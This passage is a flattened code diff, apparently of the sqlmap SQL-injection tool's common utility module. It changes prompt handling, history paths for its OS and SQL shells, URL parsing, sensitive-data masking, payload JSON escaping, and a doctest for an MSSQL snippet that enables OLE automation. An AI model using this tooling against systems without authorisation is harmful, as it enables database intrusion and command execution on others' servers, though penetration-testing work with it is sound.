question = item.split('=')[0].strip() question = item.split('=')[0].strip()
answer = item.split('=')[1] if len(item.split('=')) > 1 else None answer = item.split('=')[1] if len(item.split('=')) > 1 else None
@@ -1015,14 +1020,17 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
elif answer is None and retVal: elif answer is None and retVal:
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
if message and getattr(LOGGER_HANDLER, "is_tty", False):
message = "\r%s" % message
if retVal: if retVal:
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True) dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the given answer" debugMsg = "used the given answer"
logger.debug(debugMsg) logger.debug(debugMsg)
if retVal is None: if retVal is None:
if checkBatch and conf.get("batch"): if checkBatch and conf.get("batch") or conf.get("api"):
if isListLike(default): if isListLike(default):
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
elif default: elif default:
@@ -1030,7 +1038,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
else: else:
options = unicode() options = unicode()
dataToStdout("\r%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True) dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the default behavior, running in batch mode" debugMsg = "used the default behavior, running in batch mode"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1043,7 +1051,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if conf.get("beep"): if conf.get("beep"):
beep() beep()
dataToStdout("\r%s" % message, forceOutput=not kb.wizardMode, bold=True) dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
kb.prependFlag = False kb.prependFlag = False
retVal = raw_input().strip() or default retVal = raw_input().strip() or default
@@ -1157,6 +1165,9 @@ def getHeader(headers, key):
def checkFile(filename, raiseOnError=True): def checkFile(filename, raiseOnError=True):
""" """
Checks for file existence and readability Checks for file existence and readability
>>> checkFile(__file__)
True
""" """
valid = True valid = True
@@ -1167,7 +1178,7 @@ def checkFile(filename, raiseOnError=True):
try: try:
if filename is None or not os.path.isfile(filename): if filename is None or not os.path.isfile(filename):
valid = False valid = False
except UnicodeError: except:
valid = False valid = False
if valid: if valid:
@@ -1187,7 +1198,7 @@ def banner():
This function prints sqlmap banner with its version This function prints sqlmap banner with its version
""" """
if not any(_ in sys.argv for _ in ("--version", "--api")): if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
_ = BANNER _ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1264,11 +1275,15 @@ def setPaths(rootPath):
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# history files
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst")
# sqlmap files # sqlmap files
paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5") paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
@@ -1288,7 +1303,7 @@ def setPaths(rootPath):
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
for path in paths.values(): for path in paths.values():
if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")):
checkFile(path) checkFile(path)
def weAreFrozen(): def weAreFrozen():
@@ -1308,13 +1323,11 @@ def parseTargetDirect():
if not conf.direct: if not conf.direct:
return return
conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
details = None details = None
remote = False remote = False
for dbms in SUPPORTED_DBMS: for dbms in SUPPORTED_DBMS:
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
if details: if details:
conf.dbms = details.group("dbms") conf.dbms = details.group("dbms")
@@ -1340,7 +1353,7 @@ def parseTargetDirect():
conf.hostname = "localhost" conf.hostname = "localhost"
conf.port = 0 conf.port = 0
conf.dbmsDb = details.group("db") conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None
conf.parameters[None] = "direct connection" conf.parameters[None] = "direct connection"
break break
@@ -1384,14 +1397,20 @@ def parseTargetDirect():
__import__("psycopg2") __import__("psycopg2")
elif dbmsName == DBMS.ORACLE: elif dbmsName == DBMS.ORACLE:
__import__("cx_Oracle") __import__("cx_Oracle")
# Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
if (conf.dbmsUser or "").upper() == "SYS":
conf.direct = "%s?mode=SYSDBA" % conf.direct
elif dbmsName == DBMS.SQLITE: elif dbmsName == DBMS.SQLITE:
__import__("sqlite3") __import__("sqlite3")
elif dbmsName == DBMS.ACCESS: elif dbmsName == DBMS.ACCESS:
__import__("pyodbc") __import__("pyodbc")
elif dbmsName == DBMS.FIREBIRD: elif dbmsName == DBMS.FIREBIRD:
__import__("kinterbasdb") __import__("kinterbasdb")
except (SqlmapSyntaxException, SqlmapMissingDependence):
raise
except: except:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
pass pass
else: else:
errMsg = "sqlmap requires '%s' third-party library " % data[1] errMsg = "sqlmap requires '%s' third-party library " % data[1]
@@ -1416,7 +1435,7 @@ def parseTargetUrl():
errMsg += "on this platform" errMsg += "on this platform"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I): if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
if re.search(r":443\b", conf.url): if re.search(r":443\b", conf.url):
conf.url = "https://%s" % conf.url conf.url = "https://%s" % conf.url
else: else:
@@ -1433,7 +1452,7 @@ def parseTargetUrl():
errMsg += "in the hostname part" errMsg += "in the hostname part"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port"))) hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https" conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
conf.path = urlSplit.path.strip() conf.path = urlSplit.path.strip()
@@ -1493,6 +1512,23 @@ def parseTargetUrl():
if conf.url != originalUrl: if conf.url != originalUrl:
kb.originalUrls[conf.url] = originalUrl kb.originalUrls[conf.url] = originalUrl
def escapeJsonValue(value):
"""
Escapes JSON value (used in payloads)
# Reference: https://stackoverflow.com/a/16652683
"""
retVal = ""
for char in value:
if char < ' ' or char == '"':
retVal += json.dumps(char)[1:-1]
else:
retVal += char
return retVal
def expandAsteriskForColumns(expression): def expandAsteriskForColumns(expression):
""" """
If the user provided an asterisk rather than the column(s) If the user provided an asterisk rather than the column(s)
@@ -1500,14 +1536,14 @@ def expandAsteriskForColumns(expression):
the SQL query string (expression) the SQL query string (expression)
""" """
asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression) match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
if asterisk: if match:
infoMsg = "you did not provide the fields in your query. " infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself" infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg) logger.info(infoMsg)
_ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.') _ = match.group(2).replace("..", '.').replace(".dbo.", '.')
db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _) db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)
if db is None: if db is None:
@@ -1616,6 +1652,9 @@ def parseUnionPage(page):
def parseFilePaths(page): def parseFilePaths(page):
""" """
Detects (possible) absolute system paths inside the provided page content Detects (possible) absolute system paths inside the provided page content
>>> _ = "/var/www/html/index.php"; parseFilePaths("<html>Error occurred at line 207 of: %s<br>Please contact your administrator</html>" % _); _ in kb.absFilePaths
True
""" """
if page: if page:
@@ -1842,8 +1881,7 @@ def getFilteredPageContent(page, onlyText=True, split=" "):
# only if the page's charset has been successfully identified # only if the page's charset has been successfully identified
if isinstance(page, unicode): if isinstance(page, unicode):
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
while retVal.find(2 * split) != -1: retVal = re.sub(r"%s{2,}" % split, split, retVal)
retVal = retVal.replace(2 * split, split)
retVal = htmlunescape(retVal.strip().strip(split)) retVal = htmlunescape(retVal.strip().strip(split))
return retVal return retVal
@@ -2009,6 +2047,9 @@ def parseXmlFile(xmlFile, handler):
def getSQLSnippet(dbms, sfile, **variables): def getSQLSnippet(dbms, sfile, **variables):
""" """
Returns content of SQL snippet located inside 'procs/' directory Returns content of SQL snippet located inside 'procs/' directory
>>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
True
""" """
if sfile.endswith('.sql') and os.path.exists(sfile): if sfile.endswith('.sql') and os.path.exists(sfile):
@@ -2048,9 +2089,12 @@ def getSQLSnippet(dbms, sfile, **variables):
return retVal return retVal
def readCachedFileContent(filename, mode='rb'): def readCachedFileContent(filename, mode="rb"):
""" """
Cached reading of file content (avoiding multiple same file reading) Cached reading of file content (avoiding multiple same file reading)
>>> "readCachedFileContent" in readCachedFileContent(__file__)
True
""" """
if filename not in kb.cache.content: if filename not in kb.cache.content:
@@ -2077,6 +2121,16 @@ def readXmlFile(xmlFile):
return retVal return retVal
def average(values):
"""
Computes the arithmetic mean of a list of numbers.
>>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9])
0.9
"""
return (sum(values) / len(values)) if values else None
@cachedmethod @cachedmethod
def stdev(values): def stdev(values):
""" """
@@ -2091,22 +2145,15 @@ def stdev(values):
return None return None
else: else:
avg = average(values) avg = average(values)
_ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values)
return sqrt(_ / (len(values) - 1)) return sqrt(_ / (len(values) - 1))
def average(values):
"""
Computes the arithmetic mean of a list of numbers.
>>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9])
0.9
"""
return (sum(values) / len(values)) if values else None
def calculateDeltaSeconds(start): def calculateDeltaSeconds(start):
""" """
Returns elapsed time from start till now Returns elapsed time from start till now
>>> calculateDeltaSeconds(0) > 1151721660
True
""" """
return time.time() - start return time.time() - start
@@ -2114,6 +2161,9 @@ def calculateDeltaSeconds(start):
def initCommonOutputs(): def initCommonOutputs():
""" """
Initializes dictionary containing common output values used by "good samaritan" feature Initializes dictionary containing common output values used by "good samaritan" feature
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
True
""" """
kb.commonOutputs = {} kb.commonOutputs = {}
@@ -2136,7 +2186,7 @@ def initCommonOutputs():
if line not in kb.commonOutputs[key]: if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line) kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
""" """
Returns newline delimited items contained inside file Returns newline delimited items contained inside file
""" """
@@ -2149,20 +2199,14 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un
checkFile(filename) checkFile(filename)
try: try:
with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f:
for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used for line in (f.readlines() if unicoded else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used
if commentPrefix: if commentPrefix:
if line.find(commentPrefix) != -1: if line.find(commentPrefix) != -1:
line = line[:line.find(commentPrefix)] line = line[:line.find(commentPrefix)]
line = line.strip() line = line.strip()
if not unicode_:
try:
line = str.encode(line)
except UnicodeDecodeError:
continue
if line: if line:
if lowercase: if lowercase:
line = line.lower() line = line.lower()
@@ -2887,15 +2931,15 @@ def filterStringValue(value, charRegex, replacement=""):
return retVal return retVal
def filterControlChars(value): def filterControlChars(value, replacement=' '):
""" """
Returns string value with control chars being supstituted with ' ' Returns string value with control chars being supstituted with replacement character
>>> filterControlChars(u'AND 1>(2+3)\\n--') >>> filterControlChars(u'AND 1>(2+3)\\n--')
u'AND 1>(2+3) --' u'AND 1>(2+3) --'
""" """
return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ') return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement)
def isDBMSVersionAtLeast(version): def isDBMSVersionAtLeast(version):
""" """
@@ -3280,14 +3324,17 @@ def checkIntegrity():
logger.debug("running code integrity check") logger.debug("running code integrity check")
retVal = True retVal = True
for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) if os.path.isfile(paths.CHECKSUM_MD5):
if not os.path.isfile(path): for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
logger.error("missing file detected '%s'" % path) path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
retVal = False if not os.path.isfile(path):
elif md5File(path) != checksum: logger.error("missing file detected '%s'" % path)
logger.error("wrong checksum of file '%s' detected" % path) retVal = False
retVal = False elif md5File(path) != checksum:
logger.error("wrong checksum of file '%s' detected" % path)
retVal = False
return retVal return retVal
def unhandledExceptionMessage(): def unhandledExceptionMessage():
@@ -3321,6 +3368,25 @@ def unhandledExceptionMessage():
return errMsg return errMsg
def getLatestRevision():
"""
Retrieves latest revision from the offical repository
>>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
True
"""
retVal = None
req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
try:
content = urllib2.urlopen(req).read()
retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P<result>[\d.]+)", content)
except:
pass
return retVal
def createGithubIssue(errMsg, excMsg): def createGithubIssue(errMsg, excMsg):
""" """
Automatically create a Github issue with unhandled exception information Automatically create a Github issue with unhandled exception information
@@ -3335,7 +3401,7 @@ def createGithubIssue(errMsg, excMsg):
_ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"'[^']+'", "''", excMsg)
_ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
_ = re.sub(r".+\Z", "", _) _ = re.sub(r".+\Z", "", _)
key = hashlib.md5(_).hexdigest()[:8] key = hashlib.md5(_).hexdigest()[:8]
@@ -3346,7 +3412,7 @@ def createGithubIssue(errMsg, excMsg):
msg += "with the unhandled exception information at " msg += "with the unhandled exception information at "
msg += "the official Github repository? [y/N] " msg += "the official Github repository? [y/N] "
try: try:
choice = readInput(msg, default='N', boolean=True) choice = readInput(msg, default='N', checkBatch=False, boolean=True)
except: except:
choice = None choice = None
@@ -3413,10 +3479,12 @@ def maskSensitiveData(msg):
value = extractRegexResult(regex, retVal) value = extractRegexResult(regex, retVal)
retVal = retVal.replace(value, '*' * len(value)) retVal = retVal.replace(value, '*' * len(value))
if not conf.get("hostname"): # Just in case (for problematic parameters regarding user encoding)
match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
if match: retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
# Fail-safe substitution
retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal)
if getpass.getuser(): if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
@@ -3441,9 +3509,9 @@ def listToStrValue(value):
return retVal return retVal
def intersect(valueA, valueB, lowerCase=False): def intersect(containerA, containerB, lowerCase=False):
""" """
Returns intersection of the array-ized values Returns intersection of the container-ized values
>>> intersect([1, 2, 3], set([1,3])) >>> intersect([1, 2, 3], set([1,3]))
[1, 3] [1, 3]
@@ -3451,15 +3519,15 @@ def intersect(valueA, valueB, lowerCase=False):
retVal = [] retVal = []
if valueA and valueB: if containerA and containerB:
valueA = arrayizeValue(valueA) containerA = arrayizeValue(containerA)
valueB = arrayizeValue(valueB) containerB = arrayizeValue(containerB)
if lowerCase: if lowerCase:
valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] containerA = [val.lower() if isinstance(val, basestring) else val for val in containerA]
valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] containerB = [val.lower() if isinstance(val, basestring) else val for val in containerB]
retVal = [val for val in valueA if val in valueB] retVal = [val for val in containerA if val in containerB]
return retVal return retVal
@@ -3479,7 +3547,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
return value return value
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))
if regex != payload: if regex != payload:
if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
@@ -3502,6 +3570,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
regex = r"%s\b" % regex regex = r"%s\b" % regex
_retVal = [retVal] _retVal = [retVal]
def _thread(regex): def _thread(regex):
try: try:
_retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
@@ -3585,16 +3654,20 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = "`%s`" % retVal retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
retVal = "\"%s\"" % retVal retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper() retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
parts = retVal.split('.', 1) if isTable:
for i in xrange(len(parts)): parts = retVal.split('.', 1)
if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)): for i in xrange(len(parts)):
parts[i] = "[%s]" % parts[i] if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
retVal = '.'.join(parts) parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
else:
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
retVal = "[%s]" % retVal
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3722,7 +3795,7 @@ def expandMnemonics(mnemonics, parser, args):
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
found = sorted(options.keys(), key=lambda x: len(x))[0] found = sorted(options.keys(), key=lambda x: len(x))[0]
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
warnMsg += "Resolved to shortest of those ('%s')" % found warnMsg += "Resolved to shortest of those ('%s')" % found
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -3870,7 +3943,7 @@ def asciifyUrl(url, forceQuote=False):
# urllib.quote(s.replace('%', '')) != s.replace('%', '') # urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&". # which would trigger on all %-characters, e.g. "&".
if getUnicode(s).encode("ascii", "replace") != s or forceQuote: if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
return s return s
username = quote(parts.username, '') username = quote(parts.username, '')
@@ -3937,6 +4010,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
def __init__(self, content, url): def __init__(self, content, url):
StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content)
self._url = url self._url = url
def geturl(self): def geturl(self):
return self._url return self._url
@@ -4046,7 +4120,12 @@ def checkSameHost(*urls):
elif len(urls) == 1: elif len(urls) == 1:
return True return True
else: else:
return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(url or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(urls[0] or "").netloc.split(':')[0]) for url in urls[1:]) def _(value):
if value and not re.search(r"\A\w+://", value):
value = "http://%s" % value
return value
return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:])
def getHostHeader(url): def getHostHeader(url):
""" """
@@ -4062,7 +4141,7 @@ def getHostHeader(url):
retVal = urlparse.urlparse(url).netloc retVal = urlparse.urlparse(url).netloc
if re.search(r"http(s)?://\[.+\]", url, re.I): if re.search(r"http(s)?://\[.+\]", url, re.I):
retVal = extractRegexResult("http(s)?://\[(?P<result>.+)\]", url) retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
retVal = retVal.split(':')[0] retVal = retVal.split(':')[0]
@@ -4074,6 +4153,7 @@ def checkDeprecatedOptions(args):
""" """
for _ in args: for _ in args:
_ = _.split('=')[0].strip()
if _ in DEPRECATED_OPTIONS: if _ in DEPRECATED_OPTIONS:
errMsg = "switch/option '%s' is deprecated" % _ errMsg = "switch/option '%s' is deprecated" % _
if DEPRECATED_OPTIONS[_]: if DEPRECATED_OPTIONS[_]:
@@ -4104,6 +4184,9 @@ def checkSystemEncoding():
def evaluateCode(code, variables=None): def evaluateCode(code, variables=None):
""" """
Executes given python code given in a string form Executes given python code given in a string form
>>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"]
1
""" """
try: try:
@@ -4157,6 +4240,9 @@ def incrementCounter(technique):
def getCounter(technique): def getCounter(technique):
""" """
Returns query counter for a given technique Returns query counter for a given technique
>>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED)
1
""" """
return kb.counters.get(technique, 0) return kb.counters.get(technique, 0)
@@ -4203,7 +4289,7 @@ def decodeHexValue(value, raw=False):
retVal = retVal.decode("utf-16-le") retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError: except UnicodeDecodeError:
pass pass
elif Backend.isDbms(DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try: try:
retVal = retVal.decode("utf-16-be") retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError: except UnicodeDecodeError:
@@ -4242,9 +4328,11 @@ def extractExpectedValue(value, expected):
value = value.strip().lower() value = value.strip().lower()
if value in ("true", "false"): if value in ("true", "false"):
value = value == "true" value = value == "true"
elif value in ('t', 'f'):
value = value == 't'
elif value in ("1", "-1"): elif value in ("1", "-1"):
value = True value = True
elif value == "0": elif value == '0':
value = False value = False
else: else:
value = None value = None
@@ -4259,19 +4347,23 @@ def hashDBWrite(key, value, serialize=False):
Helper function for writing session data to HashDB Helper function for writing session data to HashDB
""" """
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) if conf.hashDB:
conf.hashDB.write(_, value, serialize) _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
conf.hashDB.write(_, value, serialize)
def hashDBRetrieve(key, unserialize=False, checkConf=False): def hashDBRetrieve(key, unserialize=False, checkConf=False):
""" """
Helper function for restoring session data from HashDB Helper function for restoring session data from HashDB
""" """
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) retVal = None
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): if conf.hashDB:
retVal = None _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
